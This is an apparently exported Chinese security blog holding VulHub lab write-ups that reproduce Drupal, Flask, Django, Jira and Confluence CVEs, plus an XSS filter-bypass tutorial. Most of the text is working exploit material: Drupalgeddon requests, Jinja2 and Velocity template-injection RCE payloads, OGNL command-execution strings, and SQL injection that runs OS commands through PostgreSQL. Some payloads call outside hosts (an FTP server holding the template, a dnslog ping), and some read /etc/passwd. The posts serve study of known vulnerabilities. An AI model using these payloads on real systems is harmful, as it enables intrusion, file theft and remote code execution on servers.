"O:24:\\"GuzzleHttp\\\\Psr7\\\\FnStream\\":2:{s:33:\\"\\0GuzzleHttp\\\\Psr7\\\\FnStream\\0methods\\";a:1:{s:5:\\"close\\";s:7:\\"phpinfo\\";}s:9:\\"_fn_close\\";s:7:\\"phpinfo\\";}" 点击 Import 后可以看到漏洞触发成功,弹出 phpinfo 页面 Tips: 虽然官方 CPE 信息显示从 8.0.0 开始就有该漏洞,但是在 drupal:8.0.0 容器内并没有复现成功,相同操作在 drupal:8.3.0 则可以复现成功,故基础镜像选择drupal:8.3.0 Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)Drupal 是一款用量庞大的CMS,其6/7/8版本的Form API中存在一处远程代码执行漏洞.相关分析如下: https://research.checkpoint.com/uncovering-drupalgeddon-2/https://research.checkpoint.com/uncovering-drupalgeddon-2/ 环境启动后,访问http://your-ip:8080/将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库(参考上一个环境) 我们向安装完成的drupal发送如下数据包: 1234567891011POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1Host: 103.116.46.7:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 103form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id 成功执行代码,这个代码最终执行了id命令: Drupal 远程代码执行漏洞(CVE-2018-7602)环境启动后,访问 http://103.116.46.7:8081/ 将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库(参考CVE-2017-6920) 参考pimps/CVE-2018-7600的PoC. 如下图所示,执行以下命令即可复现该漏洞.示例命令为 id,如图红框中显示,可以执行该命令 12# "id"为要执行的命令 第一个drupal为用户名 第二个drupal为密码python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://103.116.46.7:8081/ Drupal 远程代码执行漏洞(CVE-2019-6339)**利用版本:**Drupal core 7.62之前的7.x版本 8.6.6之前的8.6.x版本 8.5.9之前的8.5.x版本 环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库(参考CVE-2017-6920) 修改大佬的PoC为自己想要的poc,使用010Editor将图片中的cat /etc/passwd改成你想要的命令,这里改成uname -a,8这个数字为命令的字符数,这里是8个字符 如下图所示,使用管理员用户上传头像,头像图片为构造好的poc Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置. 访问 http://103.116.46.7:8080/admin/config/media/file-system,在 Temporary directory 处输入之前上传的图片路径,示例为 phar://./sites/default/files/pictures/2022-10/blog-ZDI-CAN-7232-cat.jpg,保存后将触发该漏洞.如下图所示,触发成功.容器内不带ping和curl命令,请勿尝试dnslog,亲测 Drupal XSS漏洞(CVE-2019-6341) 影响软件:Drupal 方式:通过文件模块或者子系统上传恶意文件触发XSS漏洞 参考链接:Drupal 1-click to RCE 分析 效果:JS代码执行(Cookies 资料窃取、会话劫持、钓鱼欺骗、网页挂马等) 环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库(参考CVE-2017-6920) 该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际是一段HTML代码,内嵌JS,这样其他用户在访问这个链接时,就可能触发XSS漏洞. Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置. 使用PoC上传构造好的伪造GIF文件,PoC参考thezdi/PoC的PoC.将poc中的$port = 80;改为$argv[1] 如图,输入如下命令,即可使用PoC构造样本并完成上传功能,第一个参数为目标IP 第二个参数为目标端口. 1php cve-2019-6341-exp.php 103.116.46.7 8080 上传成功后,访问图片位置,即可触发 XSS 漏洞,如下图所示. Tips: 因为 Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证存在时可使用 Edge 浏览器或者 IE 浏览器. 访问的图片名称为_0的原因是因为 Drupal 的规则机制,具体原理见Drupal 1-click to RCE 分析","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Django漏洞复现","path":"/2023/03/09/5cba5df7/","content":"总字符数: 8.11K 代码: 2.02K, 文本: 2.54K 预计阅读时间: 20 分钟 Flask(Jinja2) 服务端模板注入漏洞漏洞描述Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站.Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架.这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表.Flask 的依赖如下: Werkzeug 一个 WSGI 工具包 jinja2 模板引擎 Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的 Jinja2 是 Flask 框架的一部分.Jinja2 会把模板参数提供的相应的值替换了 {{...}} 块 Jinja2 模板同样支持控制语句,像在{%…%}块中 漏洞原理先进入容器看一下web服务的代码 1234567891011121314from flask import Flask, requestfrom jinja2 import Templateapp = Flask(__name__)@app.route("/")def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render()if __name__ == "__main__": app.run() 看到Template("Hello " +name),Template()完全可控,那么就可以直接写入jinja2的模板语言,如http://192.168.164.128:8000/?name={{3*3}} 当然发送这种情况不能由jinja2背锅,这完全是开发人员的编码不当,若我修改如下 12345678910111213141516from flask import Flask, requestfrom jinja2 import Templateapp = Flask(__name__)@app.route("/")def index(): name = request.args.get('name', 'guest') t = Template("Hello {{n}}") return t.render(n=name)if __name__ == "__main__": app.run() 就不存在模板注入 基础知识Jinja2 的模板中执行 Python 代码在jinja2中是可以直接访问python的一些对象及其方法的,如字符串对象及其upper函数,列表对象及其count函数,字典对象及其has_key函数 那么如何在 Jinja2 的模板中执行 Python 代码呢? 如官方的说法是需要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块os,即需要在模板环境中对其注册那么,如何在未注册OS模块的情况下在模板中调用popen()函数执行系统命令呢?前面已经说了,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法,用到常见的 Python 沙盒环境逃逸方法 利用 Python 特性 _bases_以元组返回一个类直接所继承的类 _mro_以元组返回继承关系链 _class_返回对象所属的类 _globals_以dict返回函数所在模块命名空间中的所有变量 _subclasses_()以列表返回类的子类 __builtin__内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtin__中可以查到.查看的方法是dir(__builtin__)ps:在py3中__builtin__被换成了builtin_builtin_ 和 __builtins__之间是什么关系呢? 在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此. 非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身 Jinja2不能像字符串对象,列表对象那样直接引用('' []),那如何拿到file对象呢?就用上面给的属性和方法,如 123for c in ().__class__.__bases__[0].__subclasses__():\tif c.__name__=='_IterationGuard': c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')") 用jinja的语法即为(执行命令使用os.popen(‘whoami’).read()才有执行结果的回显) 12345{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_IterationGuard' %}{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} 漏洞复现使用上面的代码即可执行命令 12345http://192.168.164.128:8000/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_IterationGuard' %}{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} 工具探测这里利用模板注入工具tplmap 1234567# 安装教程git clone https://github.com/epinna/tplmappython2 -m pip install -r requirements.txt -i http://pypi.douban.com/simple --trusted-host pypi.douban.com# 探测是否存在注入python2 tplmap.py -u http://192.168.164.128:8000/?name# 直接获取shellpython2 tplmap.py -u http://192.168.164.128:8000/?name --os-shell 修复建议 为了防止此类漏洞,你应该像使用eval()函数一样处理字符串加载功能.尽可能加载静态模板文件. 注意:我们已经确定此功能类似于require()函数调用.因此,你也应该防止本地文件包含(LFI)漏洞.不要允许用户控制此类文件或其内容的路径. 无论在何时,如果需要将动态数据传递给模板,不要直接在模板文件中执行,你可以使用模板引擎的内置功能来扩展表达式,实现同样的效果 Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)漏洞描述利用版本: Django 主开发分支 Django 2.2.x < 2.2.4 Django 2.1.x < 2.1.11 Django 1.11.x < 1.11.23 漏洞分析什么是JSONFieldDjango是一个大而全的Web框架,其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,Django官方也建议配合Postgresql一起使用. 相比于Mysql,Postgresql支持的数据类型更加丰富,其对JSON格式数据的支持也让这个关系型数据库拥有了NoSQL的一些特点.在Django中也支持了Postgresql的数据类型: JSONField ArrayField HStoreField 这三种数据类型因为都是非标量,且都能用JSON来表示,我下文就用JSONField统称了. 我们可以很简单地在Django的model中定义JSONField: 12345678910from django.db import modelsfrom django.contrib.postgres.fields import JSONFieldclass Collection(models.Model): name = models.CharField(max_length=128, default='default name') detail = JSONField() def __str__(self): return self.name 然后,我们在视图中,就可以对detail字段里的信息进行查询了. 漏洞复现首先登陆后台http://103.116.46.7:8000/admin/login/?next=/admin/,用户名密码为admin、a123123123 登陆后台后,进入模型Collection的管理页面http://103.116.46.7:8000/admin/vuln/collection/: 然后在GET参数中构造detail__a'b=123提交,其中detail是模型Collection中的JSONField: http://103.116.46.7:8000/admin/vuln/collection/?detail__a%27b=123 可见,单引号已注入成功,SQL语句报错: 构造语句 http://103.116.46.7:8000/admin/vuln/collection/?detail__a%27)%3D%271%27%20or%201%3d1%20-- 由于or 1=1 永远为真,所以返回所有结果 Django一般与PostgreSQL一起配合使用,可以尝试利用PostgreSQL 高权限命令执行漏洞(CVE-2019-9193) 首先访问 http://103.116.46.7:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_execs(cmd_output%20text)--%20 显示no results to fetch,语句已经执行 执行命令以下命令在hackbar执行,如果在地址栏执行可能需要二次编码 http://103.116.46.7:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_execs FROM PROGRAM 'ping pi95x1.dnslog.cn'--%20 可以看到,命令已经成功执行 Django GIS SQL注入漏洞(CVE-2020-9402)漏洞概述开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句 利用版本: 1.11.29之前的1.11.x版本 2.2.11之前的2.2.x版本 3.0.4之前的3.0.x版本 漏洞利用限制 1、使用了GIS中聚合查询的功能 2、用户在oracle的数据库且可控tolerance查询时的键名 漏洞复现访问 139.196.87.102:8000 Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)漏洞概述Django中QuerySet数据合集的order_by函数存在SQL注入漏洞.如果攻击者可以控制order_by传入的值,那么就可以注入恶意SQL语句造成SQL注入漏洞. 影响版本:3.1.x < 3.1.13, 3.2.x < 3.2.5 条件: Debug=True 接口使用order_by方法 漏洞复现访问http://192.168.2.189:8000/ 判断order_by:访问http://192.168.2.189:8000/vuln/?order=-id 闭合方法:APP名_数据库名.数据库存在的字段名); 1http://192.168.2.129:8000/vuln/?order=vuln_collection.id);select%20updatexml(1,concat(0x7e,(select%20@@version)),1)%23 漏洞修复 升级到3.2以上的安全版本 Django Extract & Trunc SQL注入漏洞(CVE-2022-34265)漏洞概述在受影响的Django版本中,可以通过传递恶意数据作为kind/lookup_name的值,如果应用程序在将这些参数传递给Trunc() 和 Extract() 数据库函数(日期函数)之前没有经过输入过滤或转义,则容易受到SQL注入攻击.将lookup_name 和kind choice限制在已知安全列表中的应用程序不受影响. 利用版本: Django主分支 Django 4.0版本:< 4.0.6 Django 3.2版本:< 3.2.14 漏洞复现环境启动后,你可以在http://192.168.2.189:8000/看到一个页面.这个页面使用了Trunc函数来聚合页面点击数量,比如使用http://192.168.2.189:8000/?date=minute即可看到按照分钟聚合的点击量: 修改date参数即可复现SQL注入漏洞: 12http://192.168.2.189:8000/?date=minute'xxxxpython -m pip install django==4.0.5 -i http://pypi.douban.com/simple --trusted-host pypi.douban.com 修复建议目前此漏洞已经修复,受影响用户可以升级到以下版本: Django 4.0版本:升级到4.0.6 Django 3.2版本:升级到3.2.14 注:此漏洞已在Django 主分支以及4.1、4.0 和 3.2 版本分支中修复,但Django 4.1版本目前处于测试状态. 下载链接: https://github.com/django/django/tagshttps://github.com/django/django/tags","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Atlassian_Jira漏洞复现","path":"/2023/03/08/cc894391/","content":"总字符数: 0.68K 代码: 0.35K, 文本: 0.23K 预计阅读时间: 3 分钟 Atlassian Jira 模板注入漏洞(CVE-2019-11581)漏洞概述Atlassian Jira是企业广泛使用的项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域. 多个版本前存在利用模板注入执行任意命令 利用版本: 12345678910111213141516171819204.4.x5.x.x6.x.x7.0.x7.1.x7.2.x7.3.x7.4.x7.5.x7.6.x before 7.6.14 (the fixed version for 7.6.x)7.7.x7.8.x7.9.x7.10.x7.11.x7.12.x7.13.x before 7.13.5 (the fixed version for 7.13.x)8.0.x before 8.0.3 (the fixed version for 8.0.x)8.1.x before 8.1.2 (the fixed version for 8.1.x)8.2.x before 8.2.3 (the fixed version for 8.2.x) 漏洞复现环境启动后,访问http://your-ip:8080会进入安装引导,切换”中文”,VPS条件下选择”将其设置为我”(第一项)去Atlassian官方申请一个Jira Server的测试证书(不要选择Data Center和Addons): 然后继续安装即可.这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待.","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Atlassian_Confluence漏洞复现","path":"/2023/03/07/a2dd2e70/","content":"总字符数: 12.19K 代码: 6.83K, 文本: 1.90K 预计阅读时间: 38 分钟 Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)漏洞描述Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令. 影响版本 1234567Confluence 1.*.*、2.*.*、3.*.*、4.*.*、5.*.*Confluence 6.0.*、6.1.*、6.2.*、6.3.*、6.4.*、6.5.*Confluence 6.6.* < 6.6.12Confluence6.7.*、6.8.*、6.9.*、6.10.*、6.11.*Confluence 6.12.* < 6.12.3Confluence 6.13.* < 6.13.3Confluence 6.14.* < 6.14.2 漏洞复现访问http://your-ip:8090会进入安装引导,选择”Trial installation”,之后会要求填写license key.点击”Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书: 然后点击Next安装即可.这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待. 如果提示填写cluster node,路径填写/home/confluence即可: 后续可能要求你填写数据库账号密码,选择postgres数据库,地址为db,账号密码均为postgres: 发送如下数据包,即可读取文件web.xml: 123456789101112131415POST /rest/tinymce/1/macro/preview HTTP/1.1Host: 192.168.64.144:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.64.144:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&Content-Type: application/json; charset=utf-8Content-Length: 172{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}} 6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件, 12345678910111213POST /rest/tinymce/1/macro/preview HTTP/1.1Host: 192.168.64.144:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.64.144:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&Content-Type: application/json; charset=utf-8Content-Length: 186{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}} 也可以通过https://...来加载远程文件 使用FTP加载vm文件,vm文件如下:该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令. 12pip install pyftpdlibpython -m pyftpdlib -p 21 123456789#set ($e="exp")#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))#set($sc = $e.getClass().forName("java.util.Scanner"))#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))#if($scan.hasNext()) $scan.next()#end payload: 1234567891011121314POST /rest/tinymce/1/macro/preview HTTP/1.1Host: 192.168.64.144:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.64.144:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&Content-Type: application/json; charset=utf-8Content-Length: 205{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"ftp://43.138.77.252/r.vm","cmd":"id"},"body":""}} 漏洞修复官方已修复该漏洞,下载最新版的比对补丁,发现在com\\atlassian\\confluence\\extra\\widgetconnector\\WidgetMacro.java里面多了一个过滤,这个应该就是这个漏洞最关键的地方. 请到官网下载无漏洞版本: https://www.atlassian.com/https://www.atlassian.com/ Atlassian Confluence OGNL表达式注入命令执行漏洞(CVE-2021-26084)Confluence Server和Confluence Data Center上存在一个OGNL注入漏洞,漏洞编号为CVE-2021-26084.该漏洞允许经过身份验证或在某些情况下未授权的攻击者,在Confluence Server或Confluence Data Center上执行任意代码. 影响版本 Atlassian Confluence Server/Data Center < 6.13.23 6.14.0 ≤ Atlassian Confluence Server/Data Center < 7.4.11 7.5.0 ≤ Atlassian Confluence Server/Data Center < 7.11.6 7.12.0 ≤ Atlassian Confluence Server/Data Center < 7.12.5 Atlassian Confluence Server/Data Center < 7.13.0 漏洞复现环境启动后,访问http://your-ip:8090即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证.在填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres. 有多个接口可以触发这个OGNL表达式注入漏洞. /pages/doenterpagevariables.action这个接口不需要登录即可利用,发送如下数据包,即可看到233*233已被执行 123456789101112POST /pages/doenterpagevariables.action HTTP/1.1Host: 192.168.64.144:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 47queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 执行任意命令: 1queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027 /pages/createpage-entervariables.action这个路径也不需要用户登录: 123456789101112POST /pages/createpage-entervariables.action HTTP/1.1Host: 192.168.64.144:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 47queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 /pages/createpage.action这个接口需要一个可以创建页面的用户权限 12345678910GET /pages/createpage.action?spaceKey=ADMIN&fromPageId=65611&src=quick-create&queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 HTTP/1.1Host: 192.168.64.144:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeReferer: http://192.168.64.144:8090/pages/resumedraft.action?draftId=65611&draftShareId=6fcde074-6f8c-45f0-a619-23b4063bf3aa&Cookie: JSESSIONID=A64604391DD88D0F328EB28CC977798CUpgrade-Insecure-Requests: 1 漏洞修复受影响用户可根据影响范围中的信息,排查并升级到安全版本. https://www.atlassian.com/software/confluence/download-archiveshttps://www.atlassian.com/software/confluence/download-archives Atlassian Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)漏洞概述2022年6月初,Confluence官方通报了一个严重漏洞CVE-2022-26134,远程攻击者在未经身份验证的情况下,可构造OGNL表达式进行注入,实现在Confluence Server或Data Center上执行任意代码 影响版本 Confluence Server and Data Center >= 1.3.0 Confluence Server and Data Center < 7.4.17 Confluence Server and Data Center < 7.13.7 Confluence Server and Data Center < 7.14.3 Confluence Server and Data Center < 7.15.2 Confluence Server and Data Center < 7.16.4 Confluence Server and Data Center < 7.17.4 Confluence Server and Data Center < 7.18.1 漏洞复现环境启动后,访问http://your-ip:8090即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证.在填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres. 该漏洞利用方法十分简单,直接发送如下请求即可执行任意命令,并在HTTP返回头中获取执行结果: 123456789GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1Host: 192.168.64.144:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=782DBA36CD950ADFBF551F316FDF117BUpgrade-Insecure-Requests: 1 其中使用到的OGNL表达式为${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}d 漏洞修复官方建议用户升级到最新版. https://www.atlassian.com/software/confluence/download-archiveshttps://www.atlassian.com/software/confluence/download-archives 暂时防护措施若相关用户暂时无法中止晋级操作,也可经过以下进程来缓解该问题: 关于 Confluence 7.15.0 – 7.18.0假如在集群中工作 Confluence,则需求在每个节点上重复此进程.您不需求封闭整个集群 封闭 Confluence: 下载 xwork-1.0.3-atlassian-10.jar 到 Confluence 效力器. https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jarhttps://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jar 将 xwork-1.0.3-atlassian-8.jar 删去或移出 Confluence 设备目录.文件途径: 1<confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar 注意:请用户不要在该目录中留下旧 JAR 文件的副本 将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到以下目录中.目录途径: 1<confluence-install>/confluence/WEB-INF/lib/ 查看 xwork-1.0.3-atlassian-10.jar 文件权限能否与同一目录中的其他文件相同 重启Confluence 请记住,假如您在集群中工作 Confluence,请确保在全部节点上工作此脚本 关于 Confluence 7.0.0 – Confluence 7.14.2假如在集群中工作 Confluence,则需求在每个节点上重复此进程,您不需求封闭整个集群 封闭 Confluence 下载 xwork-1.0.3-atlassian-10.jar、webwork-2.1.5-atlassian-4.jar 和 CachedConfigurationProvider.class 三个文件到 Confluence Windows 效力器.下载链接 将 xwork-1.0.3.6.jar 与 webwork-2.1.5-atlassian-3.jar 删去或移出 Confluence 设备目录.文件途径分别为: 1<confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3.6.jar<confluence-install>/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar **注意:**请用户不要在该目录中留下以上旧JAR文件的副本 将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到以下目录中.目录途径: 1<confluence-install>/confluence/WEB-INF/lib/ 将下载的 webwork-2.1.5-atlassian-4.jar 文件复制到以下目录中.目录途径: 1<confluence-install>/confluence/WEB-INF/lib/ 查看下载的新文件权限能否与同一目录中的其他文件相同 切换到以下目录 1<confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup 在 setup 目录下创建一个名为 webwork 的新目录 将 CachedConfigurationProvider.class 复制到创建好的 webwork 目录中,目录途径: 1<confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork 查看 CachedConfigurationProvider.class 文件权限能否与同一目录中的其他文件相同 重启 Confluence","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"Web-Xss_Lbas漏洞复现","path":"/2023/03/06/16f1e4f4/","content":"总字符数: 6.40K 代码: 1.47K, 文本: 1.46K 预计阅读时间: 13 分钟 XSS攻击方式与实例XSS盗取用户信息 XSS盗取Cookie XSS钓鱼攻击 XSS蠕虫攻击 XSS蠕虫的破坏力和影响力都是巨大的.XSS蠕虫主要发生在您户之间存在交互行为的页面中,当Web应用程序对用户输入的数据信息没有做严格的过滤时,通过结合2v的吴步提交 ,就可以实现在植入恶意代码的同时将恶意代码进行对外发送,即实现了代码的感染和传播,也就形成了XSS蠕虫 语法逃逸当我们发现我们的xss标签被嵌入到属性里的时候,我们就需要想办法把这个标签闭合掉 Palyload:"><script>alert(1)</script><" 现在我们就成功的将属性给闭合掉了 ‘逃逸出转义后的属性我们发现用上一关的闭合方法并没有把他当成JS代码 我们查看一下php代码 12345678910<?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center><form action=level3.php method=GET><input name=keyword value='".htmlspecialchars($str)."'>\t<input type=submit name=submit value=搜索 /></form></center>";?> 看到使用了htmlspecialchars方法,它的作用是将特殊符号转换成HTML实体 HTML实体:HTML为了防止特殊符号,如 “<”等,html当成标签 这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur,但是这两个是属于输入框在光标进入/离开时调用后面的js代码(可以用函数形式或者javascript:~~) payload:' onclick ='javascript:alert(1)'// href属性绕过 我们发现onclick事件也被过滤了,那我们想办法换个标签,比如构造a标签试一下 payload:"></input><a href='javascript:alert(1)'>asd</a> 大小写绕过Payload:1"><ScRipt>alert(1)</ScRipt> 双写绕过Payload:"><scriscriptpt>alert(1)</scrscriptipt>< HTML实体编码绕过payload:&#74;&#97;&#118;&#97;&#83;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41; hidden属性绕过less10 HTML特性:当属性冲突时,则会从左往右覆盖 